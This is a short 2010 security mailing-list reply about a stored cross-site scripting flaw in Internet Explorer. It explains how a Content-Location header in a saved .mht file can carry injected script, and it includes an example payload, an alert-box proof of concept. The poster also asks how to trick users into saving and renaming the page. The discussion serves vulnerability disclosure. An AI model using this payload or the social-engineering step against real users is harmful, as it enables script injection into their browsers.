Re: Saved XSS vulnerability in Internet Explorer
Nov 16 2010 11:55AM
ecco (eccocce gmail com)
Hi there,
It works because there is "Content-Location" header in .mht file so
our malicious code will be there.
"Content-Location" is outside <html></html> so it will work only in IE
(with .htm extension ofcourse).
Example code of .mht file with XSS:
[...]
Content-Type: text/html;
charset="utf-8"
Content-Transfer-Encoding: quoted-printable
Content-Location:
http://localhost/test/index.php?--><script>alert("XSS")</script>
=EF=BB=BF<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML =
xmlns=3D"http://www.w3.org/1999/xhtml">
[...]
</HTML>
Question is: How to convince user to sava our page on his hdd and
change extension to .html?
Regards
